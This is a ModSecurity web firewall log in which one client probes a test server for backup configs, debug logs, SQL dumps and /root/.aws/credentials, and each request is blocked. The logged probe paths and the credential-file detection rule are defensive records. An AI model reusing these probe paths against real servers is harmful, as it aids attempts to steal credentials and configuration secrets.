[Thu Feb 26 01:03:32.500473 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9QAAAAI&quot;]
[Thu Feb 26 01:03:32.500681 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl9QAAAAI&quot;]
[Thu Feb 26 01:03:32.586826 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPgAAAAc&quot;]
[Thu Feb 26 01:03:32.587301 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPgAAAAc&quot;]
[Thu Feb 26 01:03:32.587464 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPgAAAAc&quot;]
[Thu Feb 26 01:03:32.611279 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPwAAAAc&quot;]
[Thu Feb 26 01:03:32.611740 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPwAAAAc&quot;]
[Thu Feb 26 01:03:32.611892 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVPwAAAAc&quot;]
[Thu Feb 26 01:03:32.653140 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQAAAAAc&quot;]
[Thu Feb 26 01:03:32.653618 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQAAAAAc&quot;]
[Thu Feb 26 01:03:32.653778 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQAAAAAc&quot;]
[Thu Feb 26 01:03:32.679534 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQQAAAAc&quot;]
[Thu Feb 26 01:03:32.679814 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQQAAAAc&quot;]
[Thu Feb 26 01:03:32.680011 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQQAAAAc&quot;]
[Thu Feb 26 01:03:32.680165 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQQAAAAc&quot;]
[Thu Feb 26 01:03:32.680267 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl-gAAAAI&quot;]
[Thu Feb 26 01:03:32.680724 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl-gAAAAI&quot;]
[Thu Feb 26 01:03:32.680864 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl-gAAAAI&quot;]
[Thu Feb 26 01:03:32.711508 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQgAAAAc&quot;]
[Thu Feb 26 01:03:32.711950 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQgAAAAc&quot;]
[Thu Feb 26 01:03:32.712131 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQgAAAAc&quot;]
[Thu Feb 26 01:03:32.761350 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQwAAAAc&quot;]
[Thu Feb 26 01:03:32.762039 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQwAAAAc&quot;]
[Thu Feb 26 01:03:32.762240 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firebase-debug.log&quot;] [unique_id &quot;aZ-N1M9iaYbHzIBMVEXVQwAAAAc&quot;]
[Thu Feb 26 01:03:32.771677 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_QAAAAI&quot;]
[Thu Feb 26 01:03:32.772231 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_QAAAAI&quot;]
[Thu Feb 26 01:03:32.772408 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql_debug.sql&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_QAAAAI&quot;]
[Thu Feb 26 01:03:32.810237 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aZ-N1ICbt-ue5ARpbmjl_gAAAAI&quot;]
